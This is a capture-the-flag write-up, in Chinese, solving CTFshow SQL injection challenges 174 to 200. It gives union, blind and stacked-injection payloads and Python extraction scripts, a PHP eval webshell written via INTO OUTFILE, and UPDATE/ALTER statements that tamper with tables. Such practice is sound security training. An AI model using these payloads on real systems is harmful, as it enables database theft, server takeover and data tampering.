CTFshow SQL注入解题记录

CTFshow SQL注入解题记录

Ko1sh1

union联合注入

174(限制数字-replace)

1
2
3
4
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

这里限制了flag字眼和数字,所以我们需要将数字全部替换掉(本题没有flag字段,不用更换flag,否则还需要根据所在位置进行相应处理)

关键步骤

方法:将数据to_base64加密,然后将里面所有的数字用replace()替换(本题会将数字替换掉,且测试order有两行,所以这里select写的’a’,replace()这种。其他题用的话复制粘贴注意一下)

1
1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','koishia'),'1','koishib'),'2','koishic'),'3','koishid'),'4','koishie'),'5','koishif'),'6','koishig'),'7','koishih'),'8','koishii'),'9','koishij') from ctfshow_user4 --+

然后写个简单的py脚本换回来就行,字符串不长,自己手动换也行 =。=

1
2
3
4
5
6
7
8
9
10
11
12
a = 'xxx'
a= a.replace('koishia',"0")
a= a.replace('koishib',"1")
a= a.replace('koishic',"2")
a= a.replace('koishid',"3")
a= a.replace('koishie',"4")
a= a.replace('koishif',"5")
a= a.replace('koishig',"6")
a= a.replace('koishih',"7")
a= a.replace('koishii',"8")
a= a.replace('koishij',"9")
print(a)

具体题解步骤

  • 查看列数

用order一个一个试

  • 数据库
1
1' union select 'a',database()--+

image-20220814155354104

  • 数据表
1
-1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'0','koishia'),'1','koishib'),'2','koishic'),'3','koishid'),'4','koishie'),'5','koishif'),'6','koishig'),'7','koishih'),'8','koishii'),'9','koishij') from information_schema.tables where table_schema='ctfshow_web'--+

image-20220814160116958

  • 字段名
1
-1' union select 'a',group_concat(column_name) from information_schema.columns where table_name='ctfshow_user4'--+

image-20220814160521291

  • 字段值
1
1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','koishia'),'1','koishib'),'2','koishic'),'3','koishid'),'4','koishie'),'5','koishif'),'6','koishig'),'7','koishih'),'8','koishii'),'9','koishij') from ctfshow_user4 --+

175(webshell,outfile)

1
2
3
4
5
6
7
8
9
10
11
查询语句

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

过滤了 ASCII 的0-127字符,我们可以使用盲注或者利用读写文件写入网站根目录

解法1

写入一个webshell使用蚁剑连接,然后读取文件

未处理的sql语句

1
-1' union select 1,"<?php eval($_POST[1]);?>" into outfile'/var/www/html/1.php

<?php eval($_POST[1]);?>的base64编码

1
PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+的Url编码

1
%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b

playload

1
-1' union select 1,from_base64("%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b")into outfile'/var/www/html/1.php

image-20220814175822042

蚁剑操作

连接成功后,在/var/www/html/api/config.php找到mysql的root的密码

image-20220814180235512

在连接处登录数据库

image-20220814180713927

在左边选择我们需要的数据库然后点击执行就行了

image-20220814180755995

解法2:

先盲注判断字段名(我 ctfshow 在 url 的 id 上输入sql语句没有执行,所以没做盲注脚本,这题时间盲注应该也可以)

然后将数据输出到一个文件中,然后访问对应文件

payload

1
-1' union select  username,password from ctfshow_user5 into outfile "/var/www/html/1.txt"--+

image-20220814181217820

过滤

176(绕过select)

解法一

万能密码都能解?

解法二

发现原来是过滤了select =。= 随便大小写绕过就行

177-179(绕过空格)

解法

无非就是试试:/**/ %09 %0c 等等之类的啦

还有些时候可以使用()的方式绕过,详情见后续题

从我的另一个笔记中copy过来的常用payload :)

1
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /!/

180(绕过注释符)

这里它将部分空格符和注释符过滤了

绕过注释符的方法:

方法1

1
2
3
or'1'='1 
或者
||'1

这样来闭合后面的引号

这题的步骤

1
2
3
4
5
6
7
8
9
-1' order by 3 or'1'='1									(我这里order by没有执行成功,不知道为啥,用下面的select一个一个试也行)

'%0cunion%0cselect%0cdatabase(),2,3%0cand'1'='1 (这里好像把database放在第三个会出错)

'%0cunion%0cselect%0c1,group_concat(table_name),3%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'||'1

'%0cunion%0cselect%0c1,group_concat(column_name),3%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'||'1

'union%0cselecT%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c'1'='1

方法2

也可以使用 -- (–后加个空格) 绕过。

payload:

1
1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername%0c=%0c'flag')%0c--%0c

180-182(完全无空格)

这里空格被全部限制了,而且select不再区分大小写,也就是说select和空格都无法使用了(180除外)

根据网上的说法:

payload(局限性,必须后台sql语句上满足后面说到的使用原理)

1
'or(id=26)and'1'='1

题目已经告诉:

sql查询代码

1
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

过滤代码

1
2
3
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\##|file|into|select/i', $str);
}

将我们的payload放入代码中

1
where username !='flag' and id = ''or(id=26)and'1'='1' limit 1;";

因为and的优先级比or大,相当于

1
(username !='flag' and id = '')  or  (id=26and'1'='1')

所以左边为0但是右边是1,所以where的条件是1,于是就去访问id=26的元组。实际上我们做题的时候并不知道flag在哪个id中,所以我们还是得一个一个试才行

183(from查询未禁where)

首先看提示需要post传参

1
$sql = "select count(pass) from ".$_POST['tableName'].";

回显过滤

1
2
3
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\##|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}

查询结果

1
2
//返回用户表的记录总数
$user_count = 0;

这里还ban掉了 =等号

编写脚本注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url="http://df43a7e7-0206-4b63-8744-138e17de79e9.challenge.ctf.show/select-waf.php"

flag="ctfshow{"
for i in range(0,100):
for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
data={
'tableName':"(ctfshow_user)where(pass)like'{}%'".format(flag+j)
}
r=requests.post(url=url,data=data).text
if "$user_count = 1" in r:
flag+=j
print(flag)
if j=='}':
exit()
break

184(禁用where和各种引号)

查询语句

1
$sql = "select count(*) from ".$_POST['tableName'].";";

返回逻辑

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\##|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

查询结果

1
2
//返回用户表的记录总数
$user_count = 0;

这里过滤了很多东西

1
where、空格、甚至还有'  "  ` 这仨

做法

用right join绕过过滤

SQL RIGHT JOIN 关键字 | 菜鸟教程 (runoob.com)

RIGHT JOIN(右连接): 用于获取右表所有记录,即使左表没有对应匹配的记录。
例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
mysql> select * from persons; 
+----+----------+----------+
| id | username | position |
+----+----------+----------+
| 1 | b477eRy | 1 |
| 2 | p1 | 1 |
| 3 | p2 | 3 |
| 4 | p3 | 2 |
| 5 | p4 | 2 |
+----+----------+----------+
5 rows in set (0.00 sec)

mysql> select * from persons as a right join persons as b on b.position =3;
+------+----------+----------+----+----------+----------+
| id | username | position | id | username | position |
+------+----------+----------+----+----------+----------+
| 1 | b477eRy | 1 | 3 | p2 | 3 |
| 2 | p1 | 1 | 3 | p2 | 3 |
| 3 | p2 | 3 | 3 | p2 | 3 |
| 4 | p3 | 2 | 3 | p2 | 3 |
| 5 | p4 | 2 | 3 | p2 | 3 |
| NULL | NULL | NULL | 1 | b477eRy | 1 |
| NULL | NULL | NULL | 2 | p1 | 1 |
| NULL | NULL | NULL | 4 | p3 | 2 |
| NULL | NULL | NULL | 5 | p4 | 2 |
+------+----------+----------+----+----------+----------+
9 rows in set (0.00 sec)

条件有一条记录满足时,记录总数 = 总数 * 2 - 1

过滤 ban 了 where,可以用 right/left/inner join 代替

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import string

url = "http://27cf6a1e-36ab-48ce-aac6-5ee561a157d5.challenge.ctf.show/select-waf.php"
payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(0x{})"
## 这里是执行正确时页面上返回的字体
true_flag = "$user_count = 43;"


## 将我们的payload做成16进制的形式,来绕过关键字检查
def make_payload(has: str) -> str:
return payload.format((has).encode().hex())


def valid_payload(p: str) -> bool:
data = {
"tableName": p
}
response = requests.post(url, data=data)
return true_flag in response.text


flag = "ctf" ## 这里注意表中用 regexp('ctf') 只有一个结果,要提前给出这一小段 flag 头避免其他记录干扰匹配
while True:
for c in "{}-" + string.digits + string.ascii_lowercase:
pd = flag + c
print(f"\r[-] 少女折寿中: {pd}", end="")
if valid_payload(make_payload(pd)):
flag += c
print(f"\r[+] flag: {flag}")
break
if flag[-1] == "}":
print("Over Sir!")
break

185-186(禁用了数字和引号,意味着174失效)

有过滤的表名位置注入,这次过滤了所有数字,需要自己构造数字,char 转换数组成字符串。

1
2
3
4
5
6
7
8
9
10
11
12
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";


//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\##|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}


//返回用户表的记录总数
$user_count = 0;

构造数字

利用mysql的一些数学函数,构造出数字就行(由于本题还过滤了*,只能硬加了)

image-20210813215236660

exp编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import string

url = "http://d0c03a5a-c2a1-46a0-90f0-e7dd023f71ee.challenge.ctf.show/select-waf.php"

## $sql = "select count(*) from ".$_POST['tableName'].";";
payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(char({}))"
## sql的char()会把里面的数字按逗号依次换为字符,如:char(65,66,67) 就会是 abc ,所以就有了下面的 join操作
judge = "$user_count = 43;"


def numbermaker(num: int) -> str:
return "+".join("true" for koishi in range(num))
## join里面加上for,会循环执行join


def payload_maker(pay: str) -> str:
return payload.format(",".join(numbermaker(ord(x)) for x in pay))
## 这个join 在处理数组时,会在每个字符之间添加前面引号的字符,而对于元组,会在元组的每个元素之间添加前面引号内的字符

def valid_payload(p: str) -> bool:
data = {
"tableName": p
}
r = requests.post(url, data=data)
return judge in r.text


flag = "ctfs"
while True:
for k in "-{}" + string.digits + string.ascii_lowercase:
pd = flag + k
print(f"\r[-]少女折寿中ing...... 聪明⑨:{pd}", end="")
if valid_payload(payload_maker(pd)):
flag += k
print(f"\r[+] flag: {flag}")
break
if flag[-1] == "}":
break

登录类——特性

187( 绕过 md5($str,true) )

1
2
3
4
5
6
7
8
9
10
11
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";

$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}

对于这种,使用特殊字符串payload:ffifdyop 即可绕过

188(有过滤的数字型注入_数据库账号密码列名开头都是字符)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";

//返回逻辑


//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}

新姿势

当列的类型为 string 时,在查询限制条件中使用数字会将字符串转为数字进行比较,非数字开头的字符串会被转化为数字 0

在比较查询的时候,查询语句为:select pass from ctfshow_user where username = 0 and password = 0;,由于username password是字符串,弱比较成了0,而0=0成立,所条件就成立了;最后查询语句就成了:select pass from ctfshow_user where 1;

php弱类型总结
在 php 中,当一个字符串当作一个数值来取值,其结果和类型如下: 如果该字符串没有包含 ‘.’,’e’,’E’ 并且其数值值在整形的范围之内该字符串被当作 int 来取值,其他所有情况下都被作为 float 来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。

$row['pass'] 为 string 类型,若第一个字符不是数字就会被转换为数字 0。尝试在 password 填写数字 0,成功绕过。

故本题账号密码都使用 0 即可

web189(数据库列名的开头不止一个是数字)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";
//用户名检测
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

有过滤的数字型注入,尝试上一题的解法不能绕过,password 不止第一个字符是数字,不能被转换为 0。
正则很多东西没有过滤,可以利用 username 筛选条件 0 和 1 的回显不同,读文件布尔盲注 flag(0是密码错误,1是查询失败)

尝试写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests

## 这里的url需要注意一下,题目说明flag在 /api/index.php中,所以我们不能傻乎乎的直接用 /select-waf.php ,之前写完脚本还一直不知道拿错了
url = "http://50df699d-c52e-4dce-8ef0-3ce85d9970eb.challenge.ctf.show/api/index.php"
## sql 的 locate 语句:返回字符串中第一次出现的子字符串的位置。 LOCATE(substring(需要查找的字符串), string(查找范围), start(可不填,默认字符串起始位置))
## 使用 if 判断我们的flag字符串位置是否大于index(由于0,1页面返回值不同,我们可以利用这种方式布尔盲注)
location_payload = "if(locate('ctfshow',load_file('/var/www/html/api/index.php'))>{index},0,1)"


## 二分法查找flag的起始位置
def find_flag_index() -> int:
start = 0
end = 1000
while not (abs(start - end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": location_payload.format(index=p),
"password": 0
}
response = requests.post(url, data=data)
## \u5bc6\u7801\u9519\u8bef 是中文 ”密码错误“ 的unicode编码
if "\\u5bc6\\u7801\\u9519\\u8bef" in response.text:
start = p
else:
end = p
if end < start:
end = start
return end


print("[-] ⑨酱正在努力查找flag位置 = ̄ω ̄=")
flag_location = find_flag_index()
print(f"[^_^] ⑨:本天才找到flag位置是:{flag_location}")
flag = "c"
flag_location += 1
print("[-] ⑨酱正在努力注入获取flag确切值 。◕‿◕。 ")
injection_payload = "if(ascii(substr(load_file('/var/www/html/api/index.php'),{},1))>{},0,1)"
while flag[-1] != "}":
start = 32
end = 127
while not (abs(start - end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": injection_payload.format(flag_location, p),
"password": 0
}
response = requests.post(url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in response.text:
start = p
else:
end = p
if end < start:
end = start
flag += chr(end)
print(f"[(*o >Д<)o] flag是: {flag}")
flag_location += 1

脚本写的多少带点我都个人爱好 = w =

布尔盲注(莫得回显,淦!)

190(这题账号也是数字开头的了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";


//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪

有过滤的字符型注入,没有给出过滤的正则表达式,在 username 处构造 payload 布尔盲注。
先查表名,再查列名,再用列名和表名构造 payload 查 flag。

由于是字符型注入,还是尝试万能密码 1’ or ‘1’=’1,发现可以使用,回显 “密码错误” 与 “用户名不存在” 不同,可以尝试bool

exp编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests

url = "http://5be0cea3-6e88-4794-8aa5-2dfcd4666080.challenge.ctf.show/api/index.php"

## 表名 : ctfshow_fl0g , ctfshow_user
## payload = "0' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0) -- "

## 列名 id,f1ag,id,username,pass
## payload = "0' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{},1,0) -- "

## flag
payload = "0' or if(ascii(substr((select f1ag from ctfshow_fl0g),{},1))>{},1,0) -- "

judge = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
start = 32
end = 127
while not (abs(start - end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload.format(index, p),
"password": 0
}
response = None
while True:
try:
response = requests.post(url, data=data)
except:
continue
break
if judge in response.text:
start = p
else:
end = p
if end < start:
end = start
result += chr(end)
print(f"[+] result: {result}")
index += 1

191(和上题差不多,多了就是把ascii过滤了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

将脚本稍微改改就成(下面是直接使用字符进行的比较,也可以直接改上一题的ascii为ord)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests

## 过滤了 ascii函数
## 字母直接进行 大小于比较 也就是ascii值比较,也就是说上一题脚本ascii多余了,但是跑出来多多少少有点问题,将上一题脚本的ascii改为ord没有问题,应该是直接比较的锅?

url = "http://3b003a83-1047-4703-90a3-9d5ce5404c99.challenge.ctf.show/api/index.php"
## 表名 CtFsHOw{FL0G,CtFsHOw{usEr 正确的应该是:ctfshow_fl0g,ctfshow_user
payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
## 列名 ID,F1AG,ID,usErNAME,pAss
## payload = "0' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
## flag
## payload = "0' or if(substr((select f1ag from ctfshow_fl0g),{},1)>'{}',1,0) -- "

true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
start = 32
end = 127
while not (abs(start - end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload.format(index, chr(p)),
"password": 0
}
response = None
while True:
try:
response = requests.post(url, data=data)
except:
continue
break
if true_flag in response.text:
start = p
else:
end = p
if end < start:
end = start
result += chr(end)
print(f"[*] result: {result}")
index += 1

192(禁了ord,ascii)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

解法1

这题多把我们的ord给ban了,也就是说其实上一题目的是让我们用ord,这一题用我们上面给的脚本即可

这是其他师傅写的,和上一题本质上是一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
url='http://ca7884a2-04c6-4e4e-b1ca-2a03064c89ad.challenge.ctf.show/api/index.php'

flag=''
for i in range(1,100):
length=len(flag)
min=32
max=128
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag.lower())
if chr(j)==" ":
exit()
break

payload="' or if(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1)<'{}',1,0)-- -".format(i,chr(j))

data={
'username':payload,
'password':1
}
r=requests.post(url=url,data=data).text
#print(r)
if r"\u5bc6\u7801\u9519\u8bef" in r:
max=j
else :
min=j

解法2

payload 使用 regexp 来正则匹配的方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url="http://25b43db9-030f-483f-a2df-1bd47b8d62a7.challenge.ctf.show/api/index.php"
flagstr="_{-}1234567890abcdefghijklmnopqrstuvwxyz"

re=""
flag="flag is :"

for i in range(100):
for j in flagstr:
payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1)regexp('{j}'),1,2)='1"
data = {
'username': payload,
'password': '1'
}
r = requests.post(url, data=data)
if "密码错误" == r.json()['msg']:
flag += j
print(flag)
if flag[-1] == "}":
exit()

193-194(多禁了substr)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

(194还多禁了char、left、right、substring)

解法一:使用正则

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import string

url = "http://a0a9883b-4b1a-409c-8f0e-e1beda2cdfb2.challenge.ctf.show/api/index.php"
flag = ""
for i in range(100):
for j in string.digits+string.ascii_lowercase+"_{}":
# payload="' or if((select group_concat(table_name) from information_schema.tables where table_schema=database()) like '{}',1,0)-- -".format(flag+j+"%")
# payload="' or if((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg') like '{}',1,0)-- -".format(flag+j+"%")
payload = "' or if((select group_concat(f1ag) from ctfshow_flxg) like '{}',1,0)#".format(flag + j + "%")
print("\r"+payload,end="")
data={
'username':payload,
'password':1
}
r = requests.post(url,data=data)
if r"\u5bc6\u7801\u9519\u8bef" in r.text :
flag+=j
print(flag)
if(j == '}'):
exit()
break
print(f"flag is:{flag}")

有些小问题,最后flag的{}都变成了_不知道为啥,手动改改吧

解法二:使用mid或者right、left

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests

url = "http://1b6f8923-72d2-4a79-bf53-e8a6a58b00e4.challenge.ctf.show/api/index.php"
# 表名 ctfshow{flxg,ctfshow{user
# payload = "' or if(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0)#"
# 列名 id,f1ag,id,username,pass
# payload = "0' or if(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
# flag
payload = "0' or if(mid((select f1ag from ctfshow_flxg),{},1)>'{}',1,0) -- "
judge = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
print("[+]少女折寿中 :")
while True:
start = 32
end =127
while not(abs(start-end)== 1 or start == end):
p = (start+end)//2
data = {
"username":payload.format(index,chr(p)),
"password":0
}
response = None
while True:
try:
response = requests.post(url,data=data)
except:
continue
break
if judge in response.text:
start = p
else:
end = p
if end < start:
end = start
if(chr(end) == '!'):
exit()
result += chr(end).lower()
print(f"\rflag is:{result}",end="") # 部分字母变成了大写 _ 变成了 { 暂时还不知道什么原因 但可以肯定跟没用 ascii() 有关
index +=1

堆叠注入

195(未禁;和update)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
  • 这题过滤空格,我们尝试使用反引号来绕过(恰好一个关键字,一个字符串,就可以起到间隔作用)

  • 这题没有过滤分号,可以使用堆叠注入

  • 这题没有过滤update,我们可以修改数据库内容

利用堆叠注入更改密码为 274。用户名处填写(不使用16进制也可以操作)

payload:

1
0;update`ctfshow_user`set`pass`=0x323734

(我现在才知道,这个0x开头的16进制算法是:0x表示16进制,后面每两位是ascii的16进制,如:32转为十进制是 50,用ascii化为2)


image-20220818164530076


196(没营养的题)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if(strlen($username)>16){
$ret['msg']='用户名不能超过16个字符';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

个人感觉这题TNND弱智,也许是想给我们说,限制16字符以下且无select时进行注入是不可能的吧

本题过滤的是 se1ect 而不是 select(明明正则里面写的就是select,出题人非要说是se1ect就这样吧),故直接使用select即可

payload:

1
1;select(1)

空格和*被过滤了,就这样写了,利用堆叠注入绕过密码

197-198(未禁;和alter)

堆叠注入alter互换id和password进行爆破查找

1
2
3
4
5
6
7
8
9
10
11
12
13

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

有过滤的数字型注入,没有过滤分号可堆叠注入。没有禁用 空格 alter table change column,id 相比 password 具有递增规律更容易爆破,实现互换 id 和 password。然后username是0或者0x61646d696e,password从1开始爆破即可。(可以使用bp或者自己写脚本)。

image-20220818171119466

(当年学习 mysql 的笔记)

(在我脚本运行的时候,还必须在 change 后面加上 column ,不然执行不了,可能是mysql版本问题吧)

payload

1
0;alter table ctfshow_user change column `pass` `koishi` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `koishi` `id` varchar(255);

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests

url = "http://b531b46e-ea66-48f5-8745-92d056f5b6e7.challenge.ctf.show/api/"


def alter_tableColumn():
print("ten sa yi Cirno : watashi wa shiyou shi hajime ta *(੭*ˊᵕˋ)੭* \n")
change_payload = '0;alter table ctfshow_user change column `pass` `koishi` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `koishi` `id` varchar(255);'
# 将密码字段(pass)修改为任意的字符串,如何将id字段名修改为pass,这样sql语句查询时,就查找的是原来的id序列了,账号可以使用0绕过(也可以是admin)(十进制或者十六进制都行),密码用数字爆破即可
data = {
"username": change_payload,
"password": '0'
}
requests.post(url, data=data)


success_flag = "\\u767b\\u9646\\u6210\\u529f"


def foreach_num():
max_num = 300
print("now, Cirno is working to solve the password:")
for i in range(max_num):
data = {
"username": "0",
"password": f'{i}'
}
print(f"\r now password is {i}", end="")
response = requests.post(url, data=data)
if success_flag in response.text:
print(f"Yo katta !! CirnoChan get the response :\n {response.text}")
return

if i == max_num - 1:
print("\nSorry, maybe the max_num is a little smaller")


if __name__ == "__main__":
alter_tableColumn()
foreach_num()

199-200(还是;和alter,稍加修改)

1
2
3
4
5
6
7
8
9
10
11
12
13

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

